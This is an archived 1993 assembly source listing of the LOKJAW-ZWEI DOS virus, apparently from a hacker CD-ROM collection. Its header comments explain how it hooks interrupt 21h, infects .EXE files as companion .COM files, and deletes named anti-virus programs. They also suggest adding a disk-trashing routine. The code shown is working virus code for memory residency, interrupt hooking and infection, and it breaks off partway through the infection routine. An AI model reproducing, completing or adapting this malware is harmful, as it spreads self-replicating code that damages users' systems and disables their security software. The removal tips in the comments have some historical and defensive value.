home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / LOKJAWZ.ASM < prev    next >
Assembly Source File  |  1993-01-28  |  17KB  |  567 lines

  1. ;LOKJAW-ZWEI: an .EXE-infecting spawning virus with retaliatory 
  2. ;anti-anti-virus capability.  For Crypt Newsletter 12, Feb. 1993.               
  3. ;
  4. ;LOKJAW-ZWEI is a resident spawning virus which installs itself in
  5. ;memory using the same engine as the original Civil War/Proto-T virus.
  6. ;It is simpler in that none of its addresses have to be 
  7. ;relative, an indirect benefit of the fact that the virus has no 
  8. ;"appending" quality.  That means, LOKJAW doesn't alter its "host" files,
  9. ;much like a number of other companion/spawning viruses published in
  10. ;previous newsletters.
  11. ;
  12. ;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating 
  13. ;itself as companion .COMfile to the "host."  Due to the inherent rules
  14. ;of DOS, this ensures the virus will be executed before the "host" the
  15. ;next time the infected program is used.  In reality, LOKJAW is even
  16. ;simpler than that.  If not in memory, the first time the host is
  17. ;called, LOKJAW will go resident and not even bother to load it.
  18. ;In most cases, the user will assume a slight error and call the host
  19. ;again, at which point it will function normally. LOKJAW will then infect
  20. ;every subsequent .EXE file called. LOKJAW is very transparent in operation,
  21. ;except when certain anti-virus programs (Integrity Master, McAfee's SCAN &
  22. ;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
  23. ;LOKJAW spawning variants are so simple they don't even need much in the
  24. ;way of installation checks. The virus simply becomes resident the first
  25. ;time it is called. Once in memory, when other infect file are executed
  26. ;LOKJAW merely looks over the loaded file, if it recognizes itself it
  27. ;discards the load and proceeds to execute the "infected" file as would
  28. ;be the case on an uninfected system.
  29. ;
  30. ;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly
  31. ;retaliating virus by quickly deleting the anti-virus program before it
  32. ;can execute and then displaying a "chomping" graphic.  Even if the anti-
  33. ;virus program cannot detect LOKJAW in memory, it will be deleted.  This
  34. ;makes it essential that the user know how to either remove the virus from
  35. ;memory before beginning anti-virus measures, or at the least run the
  36. ;anti-virus component from a write-protected disk. (If the LOKJAW viruses
  37. ;are present in memory and an anti-virus program is run from a write- 
  38. ;protected disketter, it will, of course, generate "write protect" 
  39. ;errors.) At a time when retail anti-virus packages are becoming more 
  40. ;complicated - and more likely that the
  41. ;average user will run them from default installations on his hard file -
  42. ;LOKJAW's retaliating power makes it a potentially very annoying pest.
  43. ;A virus-programmer serious about inconveniencing a system could do a
  44. ;number of things with this basic idea. They are;
  45. ; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
  46. ; instantly.
  47. ; 2. Alter the_stinger routine, so that the virus immediately attacks the
  48. ; hard file.  The implementation is demonstrated by LOKJAW-DREI, which
  49. ; merely makes the disk inaccessible until a warm reboot if an anti-virus
  50. ; program is employed against it.  By placing
  51. ; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
  52. ; an unknowing user to employ anti-virus measures on a machine where
  53. ; LOKJAW or a LOKJAW-like program is memory resident. LOKJAW-DREI,
  54. ; which does not try to delete anti-virus files, displays the "chomp"
  55. ; and mimics trashing the disk even when the anti-virus program is
  56. ; used from a write-protected diskette.  Of course, the user will 
  57. ; see no "write protect" error as with the other viruses. The disk merely
  58. ; becomes inacessible.
  59. ;
  60. ;These anti-anti-virus strategies are becoming more common in viral 
  61. ;programming.                 
  62. ;
  63. ;Mark Ludwig programmed the features of a direct-action retaliating
  64. ;virus in his "Computer Virus Developments Quarterly."  Peach, Groove and
  65. ;Encroacher viruses attack anti-virus software by deletion of files central
  66. ;to the functionality of the software. 
  67. ;
  68. ;And in this issue, the Sandra virus employs a number 
  69. ;of anti-anti-virus features. 
  70. ;
  71. ;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and                
  72. ;DREI infected files from a system, simply delete the "companion" .COM 
  73. ;duplicates of your executables.  Ensure that the machine has been booted
  74. ;from a clean disk.  To remove the LOKJAW .COM-appending virus, at this
  75. ;time it will be necessary for you to restore the contaminated files from
  76. ;a clean back-up.
  77. ;
  78. ;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion"
  79. ;files in plain sight.  Generally, spawning viruses make themselves
  80. ;hidden-read-only-system files.  This is an easy hack and the code is supplied
  81. ;in earlier issues of the newsletter.  The modification is left to 
  82. ;the reader as an academic exercise.
  83.  
  84.            .radix 16
  85.      cseg       segment
  86.         model  small
  87.         assume cs:cseg, ds:cseg, es:cseg
  88.  
  89.         org 100h
  90.  
  91. oi21            equ endit
  92. filelength      equ endit - begin
  93. nameptr         equ endit+4
  94. DTA             equ endit+8
  95.  
  96.      
  97.  
  98.  
  99.  
  100.  
  101. begin:          jmp     virus_install                              
  102.  
  103. note:            
  104.         db     '[lÖçk⌡äW-zWÉì].ߥ.Ürπ$┼ådëMû$'
  105.         db     '┼Hï$.pΓÖGΓåm.î$.à.{pΓÖ┼ö-┼].√âΓïåñ┼,$ôΓ┼.öƒ.'
  106.         db     'ÇΓÿ₧.Ñëw$└Σ╫εΓ'     ; I.D. note: will probably be
  107.                         ; documented in VSUM
  108.         
  109.  
  110.                          ; install
  111. virus_install:  mov     ax,cs                    ; reduce memory size     
  112.         dec     ax                           
  113.         mov     ds,ax                        
  114.         cmp     byte ptr ds:[0000],5a    ; check if last memory     
  115.         jne     cancel                   ; block     
  116.         mov     ax,ds:[0003]                 
  117.         sub     ax,100                   ; decrease memory     
  118.         mov     ds:0003,ax
  119. Zopy_virus:  
  120.         mov     bx,ax                    ; copy to claimed block  
  121.         mov     ax,es                    ; PSP    
  122.         add     ax,bx                    ; virus start in memory   
  123.         mov     es,ax
  124.         mov     cx,offset endit - begin  ; cx = length of virus                  
  125.         mov     ax,ds                    ; restore ds   
  126.         inc     ax
  127.         mov     ds,ax
  128.         lea     si,ds:[begin]            ; point to start of virus
  129.         lea     di,es:0100               ; point to destination   
  130.         rep     movsb                    ; copy virus in memory   
  131.                              
  132.  
  133.  
  134. Grab_21:                                     
  135.         
  136.         mov     ds,cx                   ; hook interrupt 21h
  137.         mov     si,0084h                ; 
  138.         mov     di,offset oi21
  139.         mov     dx,offset check_exec
  140.         lodsw
  141.         cmp     ax,dx                   ;
  142.         je      cancel                  ; exit, if already installed
  143.         stosw
  144.         movsw
  145.         
  146.         push    es 
  147.         pop     ds
  148.         mov     ax,2521h                ; revector int 21h to virus
  149.         int     21h
  150.                      
  151. cancel:         ret          
  152.  
  153. check_exec:                                    ; look over loaded files
  154.         pushf                          ; for executables
  155.  
  156.         push    es                     ; push everything onto the
  157.         push    ds                     ; stack
  158.         push    ax
  159.         push    bx
  160.         push    dx
  161.  
  162.         cmp     ax,04B00h               ; is a file being 
  163.                         ; executed ?
  164.         
  165.         
  166.         jne     abort                   ; no, exit
  167.         
  168.         
  169.  
  170.  
  171.                          ;if yes, try the_stinger
  172. do_infect:      call    infect                  ; then try to infect
  173.         
  174.         
  175.                   
  176.  
  177. abort:                                        ; restore everything
  178.         pop     dx
  179.         pop     bx
  180.         pop     ax
  181.         pop     ds
  182.         pop     es
  183.         popf
  184.  
  185. bye_bye:      
  186.                          ; exit
  187.         jmp     dword ptr cs:[oi21]                     
  188.  
  189.  
  190. new_24h:        
  191.         mov     al,3             ; critical error handler
  192.         iret
  193.  
  194. infect:          
  195.         mov     cs:[name_seg],ds       ; this routine
  196.         mov     cs:[name_off],dx       ; essentially grabs
  197.                            ; the name of the file
  198.         cld                            ; <--
  199.         mov     di,dx                  ; being loaded 
  200.         push    ds                     ; and copies it into a
  201.         pop     es                     ; buffer where the virus
  202.         mov     al,'.'                 ; can compare it to